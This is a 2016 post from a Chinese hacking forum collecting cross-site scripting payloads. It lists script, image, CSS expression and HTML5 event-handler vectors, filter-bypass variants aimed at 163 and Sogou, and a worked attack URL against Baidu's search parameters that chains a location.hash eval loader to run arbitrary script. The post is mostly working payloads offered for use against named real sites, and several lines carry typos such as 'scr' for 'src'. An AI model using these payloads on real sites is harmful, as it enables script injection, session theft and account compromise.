黑帽联盟

标题: XSS跨站脚本大全 [打印本页]

作者: 定位    时间: 2016-11-6 01:09
标题: XSS跨站脚本大全
<script>alert("跨站")</script>      (最常见的跨站代码)
<img scr=javascript:alert("跨站")></img>
<img scr="javascript: alert(/跨站/)></img>
<img scr="javas????cript:alert(/跨站/)" width=150></img> (?是用tab键弄出来的空格)
<img scr="#" onerror=alert(/跨站/)></img>
<img scr="#" style="xss:e-xpression(alert(/xss/));"></img>
<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释)
<img src=vbscript:msgbox ("xss")></img>
<style> input {left:e-xpression (alert('xss'))}</style>
<div style={left:e-xpression (alert('xss'))}></div>
<div style={left:exp/* */ression (alert('xss'))}></div>
<div style={left:\0065\0078ression (alert('xss'))}></div>

html实体: <div style={left:&#x0065;xpression (alert('xss'))}></div>
unicode:<div style="{left:expRessioN (alert('xss'))}">  


上面是普通的

163的filter过滤语句跨站代码
<style/style" STYLE="background: expre><ssion(alert(>"\\<XSS="));">

filter己将上述label理解为三个label,语法分析与其后语句关联分析时己失效.

exploit:<style/style" STYLE="background: expre><ssion(alert(>"\\<XSS="));"> background:expression((window.rrr==1)?'':eval('rrr=1; eval(unescape(alert(/t00ls低调发展/.source)));'));}'{}</style><div id="m">hhhhh</div> (己和谐)
不懂CSS的 百度下 "Css中的filter常用滤镜属性及语句大全"
上面中window.rrr==1等语句是给window对象的方法定义一个值,判断这个值运行一次.


来看看HTML5跨站代码  
引入媒体类测试代码Example:


<video onerror=javascript:alert(1)><source>

<audio onerror=javascript:alert(1)><source>

表单点击测试代码Example:

<form id=test onforminput=alert(1)> <input> </form> <button form=test onformchange=alert(2)

>X

鼠标事件测试代码Example:

Before HTML5:

<input type=text value=‐‐>Injecting here onmouseover=alert(Injected value)>

With HTML5:

<input type=text value=‐‐>Injecting here onfocus=alert(Injected value) autofocus>

DIV 测试代码Example:

<div draggable=true ondragstart=event.dataTransfer.setData(text/plain, Evil data)>

<h3>DRAG ME!!</h3>

</div>

引入框架测试代码Example:

<iframe src=http://www.sitedirsec.com sandbox></iframe>  


再看看 百度想跨站代码 分两个0.0

这些是曾经的..


http://www.baidu.com/index.php?tn="/**/style=xss:expression(alert('xss'));
http://www.baidu.com/index.php?bar="/**/style=xss:expression(alert('xss'));

tn和bar两个参数对应在页面的输出是两个input表单值,可以使用”(双引号)闭合表单值,加入CSS属性跨站,页面具体输出如下:


<input type=hidden name=tn value=""/**/style=xss:expression(alert('xss'));">

这个漏洞只能在IE下使用,FIREFOX会把URL链接参数中的”(双引号)转成编码%22,页面参数的输出也会变成%22,就不能闭合”(双引号)跨站。expression()是个不听话的角色,这里可以用一个小技巧来去掉expression烦人的死循环。运行当前URL的#注释符后的代码:


eval(unescape(location.hash.substr(1)))

给window对象的方法定义一个值,判断这个值运行一次代码:


(window.r!=1)?eval('window.r=1;eval(unescape(location.hash.substr(1)))'):1

最后得到完美的攻击链接:


http://www.baidu.com/index.php?bar="/**/style=xss:expression((window.r!=1)?eval('window.r=1;eval(unescape(location.hash.substr(1)))'):1);#alert%28%29


     恩 很好的思路 用给window对象的方法定义一个值,判断这个值运行一次代码 以及 # 搞定火狐.

还有 80vul的 搜狗跨站 (已经修补)
http://pinyin.sogou.com/skins/search.php?word=WCRTESTINPUT000000" onmouseover=window["al"+"ert"](1)
      搜狗过滤的关键字alert 这样分开写 一样能跨





欢迎光临 黑帽联盟 (https://bbs.cnblackhat.com/) Powered by Discuz! X2.5